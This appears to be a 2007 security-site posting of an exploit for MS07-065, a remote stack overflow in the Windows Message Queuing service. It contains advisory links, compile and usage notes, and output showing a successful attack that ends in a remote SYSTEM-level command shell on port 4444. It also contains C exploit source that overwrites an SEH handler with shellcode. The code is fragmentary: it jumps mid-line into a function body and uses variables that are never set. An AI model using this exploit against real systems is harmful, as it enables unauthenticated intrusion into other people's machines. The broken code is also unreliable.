Microsoft Windows Message Queuing Service Stack Overflow Vulnerability (MS07-065, Exploit)
23 Dec. 2007
Summary
A vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows with the Message Queuing Service enabled. Authentication is not required to exploit this vulnerability. The following exploit code can be used to test your system for the mentioned vulnerability.
* Original Advisory:
http://www.zerodayinitiative.com/advisories/ZDI-07-076.html
* Microsoft Bulletin :
http://www.microsoft.com/technet/security/bulletin/ms07-065.mspx
* CVE Code: CVE-2007-3039
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3039
* Timeline:
No naked news this time, just rum and whiskey
* Additional information:
From Microsoft support http://support.microsoft.com/?id=178517 : RPC dynamic RPC ports for MQ 2101,2103,2105
HSC of course http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msmq.html
Dave s unmidl http://www.immunitysec.com/resources-freesoftware.shtml
* How to compile: Call your favorite SetEnv.Cmd from microsoft SDK and then exec nmake.
* Note: There are several rpc ports to trigger the overflow. If you hit a system then
looks like you ll need to send the exploit twice or specify another port (-p ) to exploit it again.
There is a chance that offsets are invalid for windows 2000 server (only spanish win2k advanced server was tested)
Adjust them if needed.
*Usage:
C:\Programaci n\MessageQueue>MessageQueue.exe
--------------------------------------------------------------
Microsoft MessageQueue local & remote RPC Exploit code
Exploit code by Andres Tarasco & Mario Ballano
Tested against Windows 2000 Advanced server SP4
--------------------------------------------------------------
Targets:
0 (0x6bad469b) - Windows 2000 Advanced server English (default - untested)
1 (0x6b9d469b) - Windows 2000 Advanced server Spanish
2 (0x41414141) - Windows 2000 Advanced server crash
C:\Programaci n\\MessageQueue>MessageQueue.exe -h 192.168.1.39
--------------------------------------------------------------
Microsoft MessageQueue local & remote RPC Exploit code
Exploit code by Andres Tarasco & Mario Ballano
Tested against Windows 2000 Advanced server SP4
--------------------------------------------------------------
[+] Binding to ncacn_ip_tcp:192.168.1.39
[+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0
[+] RPC binding string: ncalrpc:[LRPC00000414.00000001]
[+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0
[+] RPC binding string: ncalrpc:[QMsvc$testserver]
[+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0
[+] RPC binding string: ncalrpc:[QmReplService]
[+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0
[+] RPC binding string: ncalrpc:[QMMgmtFacility$testserver]
[+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0
[+] RPC binding string: ncacn_ip_tcp:192.168.1.39[1222]
[+] Using gathered netbios name: testserver
[+] Dynamic MessageQueue rpc port found (1222)
[+] Connecting to fdb3a030-065f-11d1-bb9b-00a024ea5525@ncacn_ip_tcp:192.168.1.39[1222]
[+] RpcBindingFromStringBinding success
[+] Trying to fingerprint target...
[+] Fqdn name obtained from netbios packet: testserver.local
[+] Remote OS Fingerprint (05.00)
[+] Remote Host identified as Windows 2000
[+] Sending POC Exploit code to QMCreateObjectInternal()
[+] Try to connect to remote host at port 4444 for a shell
C:\>nc 192.168.1.39 4444
Microsoft Windows 2000 [Versi n 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
* Some boring technical details:
Calltree: QMCreateObjectInternal() -> IsPathnameForLocalMachine() -> ReplaceDNSNameWithNetBiosName() -> us
printf(" --------------------------------------------------------------\n");
printf(" Microsoft MessageQueue local & remote RPC Exploit code\n");
printf(" Exploit code by Andres Tarasco & Mario Ballano\n");
printf(" Tested against Windows 2000 Advanced server SP4 \n");
printf(" --------------------------------------------------------------\n\n");
if (argc==1) usage(argv[0]); //Handle parameters
for(i=1;i<argc;i++) {
if ( (argv[i][0]=='-') ) {
switch (argv[i][1]) {
case 'h':
pszNetworkAddress=argv[i+1];
break;
case 't':
lang=atoi(argv[i+1]);
break;
case 'p':
port=argv[i+1];
break;
case 'd':
pDnsSuffix=argv[i+1];
break;
case 'n':
strcpy(NetbiosName,argv[i+1]);
break;
default:
printf("[-] Invalid parameter: %s\n",argv[i]);
usage(argv[0]);
break;
}
i++;
}
}
if ((pszNetworkAddress==NULL) ) usage(argv[0]); //Test if the remote server is supported (2k & XP)
pszEndpoint=DiscoverPort(pszNetworkAddress,pszUuid,NetbiosName);
if (*NetbiosName=='\0') {
printf("[-] Failed to gather NetbiosName with rpc..\n");
}
printf("[+] Using gathered netbios name: %s\n",NetbiosName);
if (!port) {
if (pszEndpoint) {
printf("[+] Dynamic MessageQueue rpc port found (%s)\n",pszEndpoint);
} else {
printf("[-] Unable to find dynamic MessageQueue port\n");
printf("[+] Maybe remote rpc endpoint isnt running\n");
pszEndpoint=DEFAULT_RPC_MESSAGEQUEUE_PORT;
printf("[+] Trying default port %s\n",pszEndpoint);
}
} else {
pszEndpoint=port;
printf("[+] Trying MessageQueue port %s\n",pszEndpoint);
}
//Create an RPC binding string
status = RpcStringBindingCompose(pszUuid,pszProtocolSequence,pszNetworkAddress,pszEndpoint,pszOptions,&pszStringBinding);
printf("[+] Connecting to %s\n", pszStringBinding);
if (status==RPC_S_OK) {
status = RpcBindingFromStringBinding(pszStringBinding,&mqhandle); //RPC Binding
if (status==RPC_S_OK) {
long parama=1;
wchar_t *paramb;//Rpc call parameter1
long paramc=0;
long paramd=0;
long parame=0;
long paramf=0;
long paramg=0;
long ret;
char bof[4096];
int os;
switch (os) {
case 0: //windows 2000
printf("[+] Remote Host identified as Windows 2000\n");
//exploit SEH handler for Windows 2000 advanced server
memcpy((char*)paramb+352,TARGETS[lang].offset,4); //mqlogmgr.dll call edi
memcpy((char*)¶mb[0]+352+4+60,shellcode2k,sizeof(shellcode2k)); //shellcode
break;
case 1: //windows XP
printf("[+] Remote Host identified as Windows XP\n");
printf("[+] Sorry, but xp isnt supported yet :p\n");
//TODO: Add your code here =)
exit(1);
break;
case 2:
printf("[-] Remote Host identified as Windows 2003\n");
default:
printf("[-] Remote Host is not vulnerable\n");
exit(1);
}
printf("[+] Sending POC Exploit code to QMCreateObjectInternal()\n");
printf("[+] Try to connect to remote host at port 4444 for a shell\n");
RpcTryExcept {
ret=QMCreateObjectInternal(
parama,
paramb,
paramc,
paramd,
parame,
paramf,
paramg) ;
printf("[-] Return code: %i - %i\r",ret,GetLastError());
}
RpcExcept(1) {
ulCode = RpcExceptionCode(); //Show returned errors from QMCreateObjectInternal() Message Queue Server
printf("[-] RPC Server reported exception 0x%lx = %ld\n", ulCode, ulCode);
switch (ulCode) {
case 1722:printf("[-] Looks like there is no available rpc server\n"); break;
case 1726:printf("[-] Looks like remote RPC server crashed :/\n"); break;
default: break;
}
}
RpcEndExcept
}
}
}